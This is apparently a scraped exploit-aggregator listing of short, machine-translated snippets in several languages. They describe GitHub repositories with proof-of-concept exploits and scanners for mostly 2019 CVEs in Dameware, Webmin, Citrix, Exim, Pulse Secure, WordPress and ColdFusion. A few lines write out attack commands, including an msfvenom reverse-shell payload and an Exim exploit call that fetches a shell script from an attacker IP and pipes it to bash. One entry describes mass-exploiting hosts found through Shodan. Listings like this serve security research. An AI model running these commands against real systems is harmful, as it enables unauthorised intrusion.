dameflare

DameFlare RCE non autenticata tramite bypass dell'autenticazione Smart Card in SolarWinds Dameware MRC CVE-2019-3980 | CVSS 9.8 Critico | TCP/6129 Ricerca originale e POC: Tenable, Inc. TRA-2019-43 Strumento Python 3: David Boyd @Fir3d0g Come Funziona Dameware MRC espone un servizio di controllo...

webminscan

Webminscan Webmin एक्सप्लॉइट स्कैनर CVE-2020-35606 CVE-2019-12840...

Exploiting-a-Linux-kernel-vulnerability

Exploiting-a-Linux-kernel-vulnerability - IT19159140 Vulnerabilità di root locale - CVE-2019-13272 / Vulnerabilità di bypass della sicurezza – CVE-2019-14287 Assolutamente, scelgo sempre una vulnerabilità Linux, ma poi ho dovuto scegliere un'altra vulnerabilità perché non sapevo che due persone...

Citrix_CVE-2019-19781

इस रिपॉजिटरी में README नहीं है।...

citrixmash_scanner

CVE-2019-19781 citrixmash Scanner Ein multithreaded Scanner für Citrix-Geräte, die anfällig für CVE-2019-19781 sind. Der Scanner versucht nicht, Hosts zu kompromittieren/auszunutzen und vermeidet das Herunterladen sensibler Inhalte. Ein HEAD-Request wird verwendet, um festzustellen, ob ein Ziel...

opgp-service-cve-2019-9153

Vulnerabilità CVE-2019-9153 riproduci PoC basato sulla configurazione di BSI investiga la vulnerabilità dell'API opgp-service verso tale attacco esegui i test con: root@kitploit: npm test conclusione: opgp-service è configurato di default con AEADprotect=true che protegge contro l'attacco di bypa...

CVE-2023-26360-RCE

CVE-2023-26360 - Esecuzione di codice remoto su ColdFusion 2021 A volte, gli script non funzionano al primo tentativo. Prova alcune volte per farli funzionare Come eseguire Creare un payload con msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Avvia...

pulse-exploit

pulsexploit Automatisiertes Skript für den Pulse Secure SSL VPN Exploit CVE-2019-11510 unter Verwendung von Hosts, die von der Shodan API abgerufen werden. Sie benötigen ein Shodan-Konto, um dieses Skript zu verwenden. Klicken Sie hier, wenn Sie kein Shodan-Konto haben. Installation 1...

CVE-2019-0708-Tool

CVE-2019-0708-Tool Compartilhando a ferramenta após 50 estrelas... Contato...

kibana-prototype-pollusion

CVE-2019-7609 Le versioni di Kibana precedenti alla 5.6.15 e alla 6.6.1 contengono una vulnerabilità di esecuzione di codice arbitrario nel visualizzatore Timelion. Un attaccante con accesso all'applicazione Timelion potrebbe inviare una richiesta che tenta di eseguire codice JavaScript. Ciò...

CVE-2019-12840.py

CVE-2019-12840.py POC Fake Shell: CVE-2019-12840 Authentifiziertes RCE – Webmin-Paketaktualisierungen...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC zur Ausnutzung der Sicherheitslücke CVE-2019-10149 Nutzungsbeispiel python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2019-9978-Social-Warfare-WordPress-RCE

🚀 CVE-2019-9978 – Social Warfare WordPress Plugin RCE ⚠️ HAFTUNGSAUSSCHLUSS: Dieses Repository dient nur zu Bildungs- und autorisierten Sicherheitstests. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter...

MiniExploit

MiniExploit WebMin Versioni...

WordPress-RCE-CVE-2019-8942

WordPress Crop Image RCE — CVE-2019-8942 / CVE-2019-8943 प्रमाणित WordPress क्रॉप-इमेज शोषण श्रृंखला का Python3 कार्यान्वयन। यह रिपॉजिटरी दो स्वतंत्र कार्यप्रवाहों के आसपास आयोजित की गई है: एक मैन्युअल OSCP-शैली स्क्रिप्ट और एक पूरी तरह से स्वचालित स्क्रिप्ट जिसमें एक एकीकृत रिवर्स-शेल हैंडलर है।...

SharpPolarBear

SharpPolarBear Questa è una versione armata per uno degli Exploit pubblicati da SandboxEscaper da qui https://github.com/SandboxEscaper/polarbearrepo. La maggior parte del codice proviene dal repository CollectorService di rasta-mouse https://github.com/rasta-mouse/CollectorService. Ho...

CVE-2019-11395

https://www.exploit-db.com/exploits/47554 È una versione modificata per adattarsi al formato Python3 dal codice della versione Python2 esistente. Usa lo stesso carattere cattivo, ma puoi creare il payload tramite msfvenom per adattarlo al tuo ambiente!...

Make-and-Break

Make-and-Break Crea e sfrutta una macchina virtuale vulnerabile Descrizione: Creata una macchina virtuale personalizzata, con Ubuntu 18.04.1 e Webmin 1.810. Utilizzo di CVE-2019-15107 per sfruttare una backdoor nell'interfaccia di amministrazione del sistema Linux PROVA DI CONCETTO --- Il sistema...

CVE-2019-12616

Badge Licenza MIT Installazione...

citrix-honeypot

Honeypot Citrix ADC NetScaler Detecta e registra payloads para CVE-2019-19781 Shitrix / Citrixmash Registra tentativas de login falhadas Serve conteúdo e cabeçalhos obtidos de um appliance real para aumentar a chance de indexação em motores de busca ex.: google, shodan etc. Instalação Pré-compila...